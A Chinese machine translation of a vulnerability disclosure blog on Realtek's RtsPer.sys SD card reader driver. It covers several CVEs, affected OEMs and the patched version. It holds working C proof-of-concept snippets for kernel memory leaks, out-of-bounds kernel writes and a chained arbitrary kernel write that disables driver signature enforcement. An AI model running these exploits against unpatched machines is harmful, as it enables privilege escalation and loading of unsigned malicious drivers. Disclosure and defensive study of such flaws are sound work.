我觉得这个有价值,但是不想用心翻译了,因为看的人太少,想看的人也喜欢看原文,那就看原文吧。下面只是简单机翻。
我在 Realtek 开发的 SD 卡读卡器驱动程序 RtsPer.sys 中发现了多个漏洞。这些漏洞使非特权用户能够泄露内核池和内核堆栈的内容、写入任意内核内存,以及最有趣的是,通过设备的 DMA 功能从用户模式读取和写入物理内存。这些漏洞多年来一直未公开,影响了许多 OEM,包括戴尔、联想等。如果您的笔记本电脑配备了 SD 卡读卡器,则很有可能由 Realtek 制造,因此它也容易受到这些漏洞的影响。
我第一次发现漏洞是在 2022 年 1 月,当时我正在浏览 Windows 对象管理器的 Device 目录中的对象。其中一个具有非常宽松的 ACL 的设备对象引起了我的注意。快速调查发现创建该对象的驱动程序中存在一些缺陷:RtsPer.sys。向 Realtek 提交报告时,我心想“很简单”。
Realtek 于 2022 年 4 月发布了修复程序。差不多一年后,我再次检查了驱动程序,发现 DMA 漏洞仍然存在。当 Realtek 要求我验证修复程序时,我错过了它,他们也错过了它。我改进了 DMA 漏洞的 PoC,使其更具指示性(天哪,这很难!),通知了 Realtek 有关问题,并开始撰写博客文章。猜猜怎么着?在完成撰写时,我发现了更多漏洞,包括一个关键漏洞。调查结果被提交给了 Realtek,我们又进入了另一个等待修复、批准修复、等待部署的周期,这比上一个周期花费的时间更多。现在,距离第一次提交已经过去了两年多,这段旅程结束了,我终于可以翻开这一页了。
本篇博文由两部分组成,第一部分主要介绍RtsPer.sys的以下漏洞:
-
CVE-2022-25477:泄漏驱动程序日志
-
CVE-2022-25478:访问 PCI 配置空间
-
CVE-2022-25479:泄漏内核池和堆栈
-
CVE-2022-25480:超出 IRP::SystemBuffer 范围的写入
-
CVE-2024-40432:超出 IRP::SystemBuffer 范围的写入
-
CVE-2024-40431:写入任意内核地址
博客文章的第二部分完全致力于 CVE-2022-25476,这是一个允许访问 DMA 控制器的漏洞。我将详细解释如何从用户模式访问控制器以及如何对其进行编程以读取和写入物理内存。此外,第二部分还涵盖了各种主题,例如披露时间表和用于研究的工具。
这篇博文首先介绍了一些不太令人感兴趣的漏洞,然后演示了如何通过结合几个看起来很难单独利用的漏洞来创建写入任意内核内存的可靠漏洞利用程序。如果您只想写入内核内存,请跳至 CVE-2024-40431 部分。
此外,本部分重点介绍了这些漏洞的影响,并详细介绍了受影响的 OEM。博客文章的每一章都包含一个片段,演示了正在讨论的具体漏洞。我使用 RTS5260 型号测试了这些片段,但它们也应该适用于其他 Realtek SD 卡读卡器。
[CVE-2022-25477]
驱动程序实现了日志记录,并且会进行大量记录。虽然日志记录本身不是问题,默认情况下启用,但日志会提供内核模式对象的地址,这会削弱 KASLR。例如,日志以内核模块的几个地址和设备的设备扩展的地址开始,尽管您必须很幸运才能获取它们,因为日志是周期性的并且缓冲区很小。但即使你迟到了,你也不会错过太多:驱动程序会持续记录各种活动内核对象的地址,例如它处理的 IRP 的地址。此外,由于驱动程序的设备对象允许所有人访问,因此可以调用各种控制处理程序来触发有价值信息的记录。在驱动程序的修复版本中,日志是加密的。以下代码片段演示了如何将日志提取到缓冲区中:
struct LogDescriptor
{
ULONG Size;
PVOID Buffer;
} desc;
desc.Buffer = log;
desc.Size = sizeof(log);
DWORD BytesReturned;
BOOL r = DeviceIoControl(
hDev,
IOCTL_GET_LOG,
&desc,
sizeof(desc),
nullptr,
0,
&BytesReturned,
nullptr);
if (r == FALSE)
{
printf(
"DeviceIoControl IOCTL_GET_LOG failed: %dn",
GetLastError()
);
}
//print the log. Warning, might be big!
printf("Log data:n %snn", log);
某些较旧版本的驱动程序不使用 LogDescriptor 结构;相反,它们将日志数据直接写入 SystemBuffer。此外,较旧日志的内容略有不同。以下是日志数据的示例:
313 (30124) rts_init_pofx_routines : pPoFxActivateComponent=0xFFFFF8067669D970
313 (30124) rts_init_pofx_routines : pPoFxIdleComponent=0xFFFFF8067669C620
313 (30124) rts_init_pofx_routines : pPoFxSetComponentWake=0xFFFFF80676968B50
313 (30124) rts_init_pofx_routines : pPoFxCompleteIdleState=0xFFFFF806767A61D0
313 (30124) rts_init_pofx_routines : pPoFxCompleteIdleCondition=0xFFFFF8067674EBD0
313 (30124) rts_init_pofx_routines : pPoFxReportDevicePoweredOn=0xFFFFF8067679C6D0
313 (30124) rts_init_pofx_routines : pPoFxCompleteDevicePowerNotRequired=0xFFFFF806767A7210
313 (30124) rts_init_pofx_routines : pPoFxRegisterDevice=0xFFFFF80676BB0B00
313 (30124) rts_init_pofx_routines : pPoFxUnregisterDevice=0xFFFFF80676BD2910
313 (30124) rts_init_pofx_routines : pPoFxStartDevicePowerManagement=0xFFFFF806767BDBD0
313 (30124) rts_init_pofx_routines : pPoFxCompleteDirectedPowerDown=0xFFFFF806769688D0
313 (30124) rts_adddevice : fdx is 0xFFFF998BCCECD1A0, PAGE_SIZE is 0x1000
[CVE-2022-25478]
SD 卡读卡器是一个 PCI 设备,这意味着它有一个 PCI 配置空间。PCI 配置空间是一组寄存器,设备和主机都使用它来标准化枚举和资源分配过程。PCI 配置空间的前 64 个字节组成标准化标头,剩余空间保留用于设备特定数据。标准化标头包含有关设备的基本信息,包括供应商 ID、设备 ID、基地址寄存器 (BAR) 和其他重要字段。RtsPer.sys 通过两个控制代码实现对设备配置空间的访问:0x2D2190用于读取,0x2D2194用于写入。这些控件基本上是 BUS_INTERFACE_STANDARD驱动程序接口的GetSetDeviceData方法的包装器,该方法驻留在 pci.sys 中并实现对配置空间的实际读写。标准标头由 Windows 上的 PCI_COMMON_HEADER 结构表示。虽然该结构似乎没有记录,但可以在wdm.h中找到其定义。标头中的大多数字段(BAR 除外)都是只读的。由于我没有深入探索设备特定区域,因此我决定采用最短路径来演示该漏洞:当向 BAR 写入随机值时,它会触发持续约 20 分钟的严重中断风暴,导致操作系统无法使用。也许可以得出更多结论,但研究需要花费太多时间,所以我保持原样。
0x2D2190 和 0x2D2194 控制请求都接受自定义结构中的数据。自定义结构封装了我们想要读取或写入的 PCI 配置空间中的偏移量,以及数据的长度,后跟数据缓冲区。然后,IO 控件的处理程序提取这些字段并将它们传递给GetSetDeviceData方法。出于某种原因,驱动程序仅允许一次读取或写入 255 个字节的配置空间。
下面的代码片段读取配置空间的标准头,修改 BAR 的值并将其写回。不久之后,上述中断风暴就开始了。
PCI_COMMON_HEADER PciHeader;
DWORD BytesReturned;
#pragma pack (push, 1)
struct PCIDescriptor
{
WORD CfgSpaceOffset;
BYTE Length;
PCI_COMMON_HEADER PciHeader;
} PCIDesc;
#pragma pack (pop)
PCIDesc.CfgSpaceOffset = 0;
PCIDesc.Length = sizeof(PciHeader); //max 0xFF
r = DeviceIoControl(
hDev,
IOCTL_READ_PCI_CONFIG,
&PCIDesc,
sizeof(PCIDesc),
&PCIDesc.PciHeader,
sizeof(PCIDesc.PciHeader),
&BytesReturned,
0);
if (r == FALSE)
{
printf(
"DeviceIoControl IOCTL_READ_PCI_CONFIG failed: %dn",
GetLastError()
);
}
// just some random BAR address
PCIDesc.PciHeader.u.type0.BaseAddresses[0] = 0x10000;
PCIDesc.CfgSpaceOffset = 0;
PCIDesc.Length = sizeof(PciHeader);
// write the PCI header back
r = DeviceIoControl(
hDev,
IOCTL_WRITE_PCI_CONFIG,
&PCIDesc,
sizeof(PCIDesc),
nullptr,
0,
&BytesReturned,
0);
if (r == FALSE)
{
printf(
"DeviceIoControl IOCTL_WRITE_PCI_CONFIG failed: %dn",
GetLastError()
);
}
[CVE-2022-25479]
该漏洞可导致内核内存从堆栈和堆中泄漏。为了更好地理解此漏洞的性质,让我们暂时放开视野,对驱动程序进行总体了解。
RtsPer.sys 是一个磁盘驱动程序,它为读卡器创建一个物理设备对象 (PDO),并在其上附加 disk.sys 和 partmgr.sys 驱动程序的设备对象。PDO 的 IRP 处理程序通过对设备进行编程和复制传输的数据来处理来自上层的请求。与任何磁盘驱动程序一样,RtsPer.sys 需要SCSI 请求块(SRB) 形式的请求。SRB 包含有关请求的各种信息,例如传输缓冲区的地址和长度以及 SCSI 命令的代码等详细信息。根据命令,驱动程序可以自行完成请求或将其转发给控制器。此外,驱动程序还实现了IOCTL_SCSI_PASS_THROUGH_DIRECT控制代码,这在利用我在驱动程序中发现的大多数漏洞方面发挥了重要作用。IOCTL_SCSI_PASS_THROUGH_DIRECT 的处理程序根据从用户模式传递的SCSI_PASS_THROUGH_DIRECT结构创建一个 SRB,并将该 SRB 添加到 IO 队列以供后续处理。这允许任何 SCSI 命令从用户模式传递到驱动程序,然后传递到控制器。
SCSI_PASS_THROUGH_DIRECT 和 SCSI_REQUEST_BLOCK 结构都有一个名为 Cdb 的字段,其中包含请求的SCSI 命令的代码。Cdb 字段的长度为 16 个字节,其中第一个字节表示标准 SCSI 命令之一,其余字节与命令相关。RtsPer.sys 实现的最有趣的 SCSI 命令之一的代码为 0xF0,它本质上是特定于供应商的子命令集的前缀,其中实际操作由 Cdb 字段的第二个字节定义。使用代码 0xA 编码的特定于供应商的子命令是内核内存泄漏器之一。涉及泄漏的其他几个 SCSI 命令是 READ CAPACITY 和 READ CAPACITY16,它们分别使用代码 0x25 和 0x9E 编码。READ CAPACITY 命令从堆泄漏,而 0xF0 0xA 命令从堆栈泄漏。哦,多方便啊!
所有这些命令的处理程序都存在相同的问题:当从用户模式处理请求时,它们使用 SRB 本身提供的数据长度将内核缓冲区的内容复制到 SRB 的缓冲区。鉴于我们可以从用户模式传递 SRB,这意味着我们可以通过为 SRB 分配一定大小的数据缓冲区来指示驱动程序应复制多少字节的内存。一旦 SRB 缓冲区的大小超过源缓冲区的大小,用户模式就会获得缓冲区后面的任何数量的内核内存字节。
现在,让我们仔细看看其中一个易受攻击的函数。这是 READ CAPACITY 命令的反编译处理程序: 处理程序从堆中分配 8 个字节,并将其与 SRB 一起传递给 scsi_stor_set_xfer_buf 函数,这是一个通用复制函数,用于将数据传输到 SRB 或从 SRB 传输数据。在实际复制之前,该函数确保目标缓冲区足够大以容纳数据,假设源缓冲区不小于目标缓冲区。虽然大多数处理程序都会对源缓冲区的大小执行额外检查,但 READ CAPACITY、READ CAPACITY16 和用 0xF 0xA 编码的命令都缺少此检查。
以下代码片段通过发送指定大小为 0x88 的数据缓冲区的 READ CAPACITY 命令来利用此漏洞。成功执行 DeviceIoControl 后,缓冲区将包含 0x8 字节的驱动程序数据和 0x80 字节的堆内核内存。
SCSI_PASS_THROUGH_DIRECT Scsi;
DWORD BytesReturned;
RtlZeroMemory(&Scsi, sizeof(Scsi));
Scsi.Length = sizeof(Scsi);
Scsi.Cdb[0] = 0x25; //READ_CAPACITY
CHAR PoolContent[0x88] = {};
Scsi.DataBuffer = PoolContent;
Scsi.DataTransferLength = 0x8 + 0x80;
RtlFillMemory(PoolContent, sizeof(PoolContent), 0xDD);
r = DeviceIoControl(
hDev,
IOCTL_SCSI_PASS_THROUGH_DIRECT,
&Scsi,
sizeof(Scsi),
&Scsi,
sizeof(Scsi),
&BytesReturned,
0);
if (r == FALSE)
{
printf(
"DeviceIoControl IOCTL_SCSI_PASS_THROUGH_DIRECT pool leak failed: %dn",
GetLastError()
);
}
调用之后数据缓冲区的转储如下所示: 其他易受攻击的处理程序也可以以相同的方式被利用。
这些缺陷使该驱动程序成为 Windows 内核内存探索的非常有用的工具。我将利用它来利用驱动程序的另一个漏洞。鉴于内核模式堆栈的大小有限(只有几页),并且堆的布局不可预测,因此应谨慎进行探索。尝试泄漏过多内存可能会导致严重的 BSOD。要解决此问题,驱动程序应限制要复制的数据的长度,这就是 Realtek 所做的。
[CVE-2022-25480]
此漏洞可以实现对内核内存的间接写入。
该问题与感知数据的处理有关,感知数据是 SCSI 错误报告功能的一个组件。感知数据是一个 18 字节的数组,SCSI 设备会填写该数组以提供有关执行 SCSI 命令期间发生的错误的扩展信息。数组的内容是特定于命令的。SCSI 标准提供了 REQUEST SENSE 命令来检索感知数据。但是,RtsPer.sys 还会为每个失败的 IOCTL_SCSI_PASS_THROUGH_DIRECT 控制请求复制该命令。完成直通请求后,驱动程序会检查在执行 SCSI 命令期间是否发生错误。如果确实发生错误,驱动程序会检查 SCSI_PASS_THROUGH_DIRECT::SenseInfoOffset 字段的值。如果此字段不为零,驱动程序会将其添加到输出缓冲区的地址,并将感知数据复制到结果地址。
驱动程序不限制 SenseInfoOffset 字段的值,因此可以将感知数据复制到输出缓冲区之外。IOCTL_SCSI_PASS_THROUGH_DIRECT 控件使用 METHOD_BUFFERED 传输类型,这意味着 IRP::SystemBuffer 既用于输入缓冲区(其中 SCSI_PASS_THROUGH_DIRECT 结构传递给驱动程序),也用于输出缓冲区(可作为内核内存写入的基础)。以下是易受攻击的函数的摘录:
因此,要写入 SystemBuffer 之外的内容,用户模式调用者应将 SCSI_PASS_THROUGH_DIRECT::SenseInfoOffset 字段设置为大于输出缓冲区长度的值。然而,这个漏洞并不容易利用。一方面,由于 SenseInfoOffset 字段是一个 32 位无符号整数,它将检测数据的复制限制到从 SystemBuffer 地址开始的 4GB 内存窗口。此外,在利用时还不知道 SystemBuffer 的确切地址。另一方面,CVE-2022-25479 可以帮助克服这些问题。可以通过从驱动程序的堆栈中泄漏其先前的值来预测 SystemBuffer 的地址,因为它很可能被重用。此外,4GB 窗口足够大,可以到达从堆中分配的驱动程序的一些重要结构。
无论如何,我还没有编写完整的 PoC,因为驱动程序中还有其他更诱人的漏洞。此外,弄清楚如何控制感知数据的内容需要时间。以下代码片段盲目地将数据复制到 SystemBuffer + 4GB 地址。警告,它会出现蓝屏!
SCSI_PASS_THROUGH_DIRECT Scsi;
DWORD BytesReturned;
RtlZeroMemory(&Scsi, sizeof(Scsi));
Scsi.SenseInfoLength = 0xC;
Scsi.SenseInfoOffset = 0xFFFFFFFF;
Scsi.Cdb[0] = 0x30;
r = DeviceIoControl(
hDev,
IOCTL_SCSI_PASS_THROUGH_DIRECT,
&Scsi,
sizeof(Scsi),
&Scsi,
sizeof(Scsi),
&BytesReturned,
0);
if (r == FALSE)
{
printf(
"DeviceIoControl IOCTL_SCSI_PASS_THROUGH_DIRECT copy SenseInfo failed: %dn",
GetLastError()
);
}
为了解决该漏洞,Realtek 添加了一项检查,以确保 SenseInfoOffset 和 SenseInfoLength 字段的总和不超过缓冲区的长度。
CVE-2024-40432漏洞
我在写这篇博文时发现了这个。它很好地提醒了我们检查代码是多么有用。
基本上,CVE-2024-40432 与 CVE-2022-25480 属于同一漏洞类型,但它驻留在处理程序中,该处理程序将请求提供给驱动程序的物理设备对象 (PDO),而不是 FDO。处理程序要求调用者对设备对象具有写访问权限,而 PDO 的 ACL 不向所有人提供此类访问权限,从而使漏洞的价值降低。我发现 CVE-2024-40432 的时间比驱动程序的其他漏洞晚得多,因此它被分配了一个单独的 CVE ID 以避免混淆。除此之外,它只是另一个源自用户模式的偏移量,没有经过足够仔细的清理。为了完整起见,我将简要描述该漏洞。
RtsPer.sys 实现了IOCTL_SFFDISK_DEVICE_COMMAND控件,该控件处理来自用户模式的安全数字卡命令。处理程序以放置在 SystemBuffer 中的SFFDISK_DEVICE_COMMAND_DATA结构的形式接收命令。该结构包含一个名为 ProtocolArgumentSize 的字段,它表示相对于结构最后一个字段的偏移量。驱动程序在此偏移处复制数据,但不检查它是否指向 SystemBuffer 之外,从而可以写入内核内存。以下代码片段演示了如何利用该漏洞。在调用 DeviceIoControl API 后不久,它也会出现蓝屏。
DWORD BytesReturned;
SFFDISK_DEVICE_COMMAND_DATA SffCmd;
RtlZeroMemory(&SffCmd, sizeof(SffCmd));
SffCmd.Command = 0xD;
SffCmd.DeviceDataBufferSize = 0x10; //max is 0x40
SffCmd.ProtocolArgumentSize = 0xFFFF; //the rogue offset relative to SffCmd.Data
SffCmd.Data[0] = 0x9;
BOOL r = DeviceIoControl(
hPdo,
IOCTL_SFFDISK_DEVICE_COMMAND,
&SffCmd, sizeof(SffCmd),
&SffCmd, sizeof(SffCmd),
&BytesReturned,
0);
if (r == FALSE)
{
printf(
"DeviceIoControl IOCTL_SFFDISK_DEVICE_COMMAND failed: %dn",
GetLastError()
);
}
CVE-2024-40431漏洞
我在写这篇文章时还发现了一个漏洞。结合前面描述的 CVE-2022-25479,它允许任意写入内核内存。最实用,最危险的一个!
除了前面提到的 IOCTL_SCSI_PASS_THROUGH_DIRECT 处理程序之外,驱动程序还实现了一个名为 IOCTL_SCSI_PASS_THROUGH 的类似控件。与其对应控件一样,IOCTL_SCSI_PASS_THROUGH 允许将 SCSI 命令传递给驱动程序,但语义略有不同。IOCTL_SCSI_PASS_THROUGH 的处理程序以 SCSI_PASS_THROUGH 结构的形式接收输入,该结构包含一个 DataBufferOffset 字段。顾名思义,该字段是相对于结构开头的数据缓冲区的偏移量。许多 SCSI 命令(即使是与数据传输无关的命令)都会通过将信息复制到数据缓冲区来将信息返回给调用者。为了将偏移量转换为指针,控件的处理程序将偏移量添加到 SCSI_PASS_THROUGH 结构的地址,该地址实际上是 IRP::SystemBuffer 的地址。问题在于处理程序不会检查 DataBufferOffset 是否指向 SystemBuffer 之外,这意味着在 DataBufferOffset 字段中指定一个较大的值会允许非特权调用者重定向复制函数,从而覆盖内核内存。
虽然此漏洞与 CVE-2022-25480 相似,但也有一个显著的区别:DataBufferOffset 字段为 64 位宽,允许攻击者访问整个地址空间。但是,要写入特定的内核地址,我们需要提前知道 SystemBuffer 的地址。这就是我们利用之前发现的 CVE-2022-25479 漏洞的地方。
这个想法是使用多个 IOCTL_SCSI_PASS_THROUGH 调用来调整池,每次迭代时都会泄漏堆栈。在某个时候,内存管理器的确定性/优化将启动,导致 SystemBuffer 的同一内存位置被反复重用。从泄漏的数据中,我们可以确定这个位置。
我们发出了许多泄漏堆栈的 IOCTL_SCSI_PASS_THROUGH 调用,由于堆栈定位一致,提取 SystemBuffer 地址相对简单。有趣的是,由于 CVE-2022-25479 也驻留在 IOCTL_SCSI_PASS_THROUGH 处理程序中,但涉及不同的 SCSI 命令,这些调用不仅执行池处理,而且还泄漏堆栈数据。一旦我们观察到提取的地址在 256 次调用后保持不变,我们就可以放心地假设它在对 IOCTL_SCSI_PASS_THROUGH 的后续调用中将保持不变。有了这些知识,我们传递了一个恶意的 DataBufferOffset,当将其添加到 SystemBuffer 的地址时,它指向我们打算写入的内核地址。令人惊讶的是,这种方法被证明是相当稳定的。
识别堆栈中 SystemBuffer 的地址并不容易,因为编译器优化了经常访问的指针,将它们保存在寄存器中,而不是存储在堆栈中。最终,我找到了一个解决方案:我没有直接使用 SystemBuffer 地址,而是使用了 SCSI_PASS_THROUGH::SenseInfo 指针。当 SenseInfoLength 为零时,SenseInfo 也指向 SystemBuffer,并将其存储在堆栈中。
以下代码片段实现了这个想法。在无限循环中,它会泄漏堆栈并在每次迭代中从泄漏的数据中提取 SystemBuffer 地址。然后,代码片段将此地址与之前提取的值进行比较。如果地址保持不变,则计数器递增;否则,计数器将重置。一旦计数器达到 256,循环就结束。此时,我们计算目标地址和假定的 SystemBuffer 地址之间的偏移量,并发出将数据写入缓冲区的 SCSI 命令。为简单起见,代码片段发出 REQUEST SENSE 命令,尽管控制其输出具有挑战性。GitHub 存储库中的 PoC 更为复杂:它通过发出一些控制来构造一个禁用驱动程序内存中的驱动程序签名检查的值,执行堆栈泄漏/按摩,然后请求读取这个构造的值。它使用指向 CI!g_CiOptions 的恶意偏移量,导致变量被覆盖。我太懒了我不想让 PoC 太复杂,所以我只要求用户在利用开始时手动输入 CI!g_CiOptions 的地址。该地址可以从 WinDbg 获取,也可以通过其他方式计算。一旦 CI!g_CiOptions 被覆盖,PoC 会等待 30 秒并重新启用 DSE 以保证 PatchGuard 正常运行。不要犹豫,在这 30 秒的自由时间内加载未签名的驱动程序。
const int STACK_LEAK_LEN = 0x300;
const int STACK_DATA_LEN = 0x300;
const int SYSBUFF_OFFSET = 0x210;
const int SYSBUFF_NO_CHANGE_NUM = 0x100;
struct
{
SCSI_PASS_THROUGH Spt;
UCHAR Buffer[STACK_DATA_LEN];
} SptBuf;
ULONG Counter = 0;
ULONG_PTR PrevSysBuffer = 0;
DWORD BytesReturned;
// Leak the stack until SystemBuffer changes
for (;;)
{
RtlZeroMemory(&SptBuf, sizeof(SptBuf));
SptBuf.Spt.Length = sizeof(SptBuf.Spt);
SptBuf.Spt.Cdb[0] = 0xF0; //vendor-specific command
SptBuf.Spt.Cdb[1] = 0x0A; //stack leaking sub command
SptBuf.Spt.DataBufferOffset = sizeof(SCSI_PASS_THROUGH);
SptBuf.Spt.DataTransferLength = STACK_LEAK_LEN;
BOOL r = DeviceIoControl(
hDev,
IOCTL_SCSI_PASS_THROUGH,
&SptBuf,
sizeof(SptBuf),
&SptBuf,
sizeof(SptBuf),
&BytesReturned,
0
);
if (r == FALSE)
{
printf(
"DeviceIoControl IOCTL_SCSI_PASS_THROUGH failed: %dn",
GetLastError()
);
Counter = 0;
}
else
{
// Leak successful, extract the value of SystemBuffer
ULONG_PTR p = *((PULONG_PTR)(&SptBuf.Buffer[SYSBUFF_OFFSET]));
printf("SystemBuffer: %pn", p);
if (PrevSysBuffer == p)
{
Counter++;
}
else
{
PrevSysBuffer = p;
Counter = 0;
}
}
if (Counter >= SYSBUFF_NO_CHANGE_NUM)
{
printf(
"SystemBuffer didn't change 0x%x times. Break and enter!n",
Counter);
break;
}
}
// If we are here, the address of SystemBuffer for the next call to
// DeviceIoControl is almost certain. Now we can calculate the offset
// to the address we want to write to and call DeviceIoControl.
//
// The address of ci!g_CiOptions is demonstrational.
ULONG_PTR ci_g_CiOptions = 0xfffff8067445a478;
ULONG_PTR CiOptionsOffset = ci_g_CiOptions - PrevSysBuffer;
RtlZeroMemory(&SptBuf, sizeof(SptBuf));
SptBuf.Spt.Length = sizeof(SptBuf.Spt);
SptBuf.Spt.Cdb[0] = 0x03; //REQUEST SENSE command
SptBuf.Spt.DataBufferOffset = CiOptionsOffset;
SptBuf.Spt.DataTransferLength = 0x1;
r = DeviceIoControl(
hDev,
IOCTL_SCSI_PASS_THROUGH,
&SptBuf,
sizeof(SptBuf),
&SptBuf,
sizeof(SptBuf),
&BytesReturned,
0
);
if (r == FALSE)
{
printf(
"DeviceIoControl IOCTL_SCSI_PASS_THROUGH failed: %dn",
GetLastError()
);
}
else
{
printf("Yassss!n");
}
尽管这种方法很稳定,但它并不理想,因为指向 SystemBuffer 的指针的堆栈位置因 RtsPer.sys 的不同版本而异。另一方面,由于版本不是太多,因此收集指针的所有位置似乎是可行的。
[视频]
该视频演示了帖子中讨论的一些漏洞的 PoC。它包括内核堆栈和池转储,然后写入内核内存,将 ci!g_CiOptions 清零 30 秒,允许未签名的驱动程序加载。加载未签名的驱动程序后,PoC 会恢复 ci!g_CiOptions 的原始值。PoC 在非特权用户帐户下以较低的强制级别运行。我没有实现 ci!g_CiOptions 位置的计算,因此我手动从 WinDbg 复制了位置。制作视频时未分配 CVE-2024-40431,因此将其标记为 CVE-6。
[影响]
RtsPer.sys 是一个相当通用的驱动程序,可用于多种 SD 卡读卡器型号,例如 RTS5260、RTS5228 等。这种通用性是通过使用虚拟函数表实现的:驱动程序的核心可在读卡器的不同型号之间重复使用,而特定于型号的功能则在虚拟函数中实现。虽然从软件架构的角度来看这是一种很好的方法,但当漏洞驻留在驱动程序的核心组件中时,它也会增加漏洞的影响。
话虽如此,很难列出受影响的笔记本电脑和台式机型号的完整列表,因为它可能太长了。相反,我将概述可能受影响的读卡器型号以及在其硬件中包含这些读卡器的 OEM。
从驱动程序附带的.inf 文件中,我得出结论,它与以下读卡器型号兼容:
-
RTS5227
-
RTS5228
-
RTS522A
-
RTS5249
-
RTS524A
-
RTS5250
-
RTS525A
-
RTS5287
-
RTS5260
-
RTS5261
-
RTS5264
以下 OEM 为其部分笔记本电脑系列配备了 Realtek 制造的 SD 卡读卡器:
-
戴尔
-
惠普
-
联想
-
微星
该列表可能不完整。基本上,如果您的笔记本电脑或台式机有由 RtsPer.sys 管理的读卡器,请确保驱动程序是最新的。
[使固定]
最初,我计划提供有关修复的详细信息,包括发布日期、下载链接等。但是,随着时间的推移,Realtek 的响应变得如此缓慢和不情愿,以至于我最终放弃了收集这些详细信息。
我可以确认的是,修复程序是在 7 月或 8 月的某个时候发布的。漏洞 CVE-2022-25477、CVE-2022-25478、CVE-2022-25479 和 CVE-2022-25480 很久以前就已解决,如 Realtek 的公告中所述。然而,CVE-2022-25476 直到 7 月至 8 月的修复程序才得到完全修补,该修复程序还解决了 CVE-2024-40431 和 CVE-2024-40432。没有所有这些漏洞的 RtsPer.sys 版本是 10.0.26100.21374 或更高版本。
https://zwclose.github.io/2024/10/14/rtsper1.html
原文始发于微信公众号(独眼情报):Realtek SD 读卡器驱动程序中的漏洞影响戴尔、联想和其他笔记本电脑
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论